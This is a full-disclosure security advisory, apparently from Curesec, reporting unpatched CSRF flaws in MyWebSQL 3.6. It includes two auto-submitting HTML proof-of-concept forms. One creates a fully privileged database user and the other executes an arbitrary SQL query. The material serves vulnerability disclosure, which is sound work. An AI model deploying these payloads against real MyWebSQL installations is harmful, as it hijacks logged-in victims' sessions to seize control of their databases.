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MyWebSQL 3.6: CSRF

From: "Curesec Research Team (CRT)" <crt () curesec com>
Date: Tue, 03 Nov 2015 11:53:28 +0100
Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    MyWebSQL 3.6
Fixed in:            not fixed
Fixed Version Link:  n/a
Vendor Website:      http://mywebsql.net/
Vulnerability Type:  CSRF
Remote Exploitable:  Yes
Reported to vendor:  09/01/2015
Disclosed to public: 10/07/2015
Release mode:        Full Disclosure
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Vulnerability Description

None of the forms of MyWebSQL 3.6 have CSRF protection, which means that an
attacker can perform actions for the victim if the victim visits an attacker
controlled site while logged in.

3. Proof of Concept

Create new user:


<html>
  <body>
    <form name="myform" action="http://localhost/mywebsql/?q=wrkfrm&type=usermanager"; method="POST" 
enctype="multipart/form-data">
      <input type="hidden" name="type" value="usermanager" />
      <input type="hidden" name="id" value="add" />
      <input type="hidden" name="name" value="
" />
      <input type="hidden" name="query" value="{"username":"foobar","hostname":"localhost","pwd":"foobar"}" />
      <input type="hidden" name="username" value="foobar" />
      <input type="hidden" name="hostname" value="localhost" />
      <input type="hidden" name="userpass" value="foobar" />
      <input type="hidden" name="userpass2" value="foobar" />
      <input type="hidden" name="Alter_priv" value="on" />
      <input type="hidden" name="Alter_routine_priv" value="on" />
      <input type="hidden" name="Create_priv" value="on" />
      <input type="hidden" name="Create_routine_priv" value="on" />
      <input type="hidden" name="Create_tmp_table_priv" value="on" />
      <input type="hidden" name="Create_view_priv" value="on" />
      <input type="hidden" name="Create_tablespace_priv" value="on" />
      <input type="hidden" name="Create_user_priv" value="on" />
      <input type="hidden" name="Delete_priv" value="on" />
      <input type="hidden" name="Drop_priv" value="on" />
      <input type="hidden" name="Event_priv" value="on" />
      <input type="hidden" name="Execute_priv" value="on" />
      <input type="hidden" name="File_priv" value="on" />
      <input type="hidden" name="Grant_priv" value="on" />
      <input type="hidden" name="Index_priv" value="on" />
      <input type="hidden" name="Insert_priv" value="on" />
      <input type="hidden" name="Lock_tables_priv" value="on" />
      <input type="hidden" name="Process_priv" value="on" />
      <input type="hidden" name="References_priv" value="on" />
      <input type="hidden" name="Reload_priv" value="on" />
      <input type="hidden" name="Repl_client_priv" value="on" />
      <input type="hidden" name="Repl_slave_priv" value="on" />
      <input type="hidden" name="Select_priv" value="on" />
      <input type="hidden" name="Show_db_priv" value="on" />
      <input type="hidden" name="Show_view_priv" value="on" />
      <input type="hidden" name="Shutdown_priv" value="on" />
      <input type="hidden" name="Super_priv" value="on" />
      <input type="hidden" name="Trigger_priv" value="on" />
      <input type="hidden" name="Update_priv" value="on" />
    </form>
<script>document.myform.submit();</script>
  </body>
</html>

Execute any query:


<html>
  <body>
    <form name="myform" action="http://localhost/mywebsql/index.php?q=wrkfrm&type=info"; method="POST" 
enctype="multipart/form-data">
      <input type="hidden" name="type" value="query" />
      <input type="hidden" name="id" value="
" />
      <input type="hidden" name="name" value="
" />
      <input type="hidden" name="query" value="CREATE USER 'smith'@'localhost' IDENTIFIED BY 'smith';" />
    </form>
    <script>document.myform.submit();</script>
  </body>
</html>

4. Solution

This issue was not fixed by the vendor.

5. Report Timeline

09/01/2015 Informed Vendor about Issue (no reply)
09/22/2015 Reminded Vendor of disclosure date (no reply)
10/07/2015 Disclosed to public


Blog Reference:
http://blog.curesec.com/article/blog/MyWebSQL-36-CSRF-65.html

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MyWebSQL 3.6: CSRF Curesec Research Team (CRT) (Nov 06)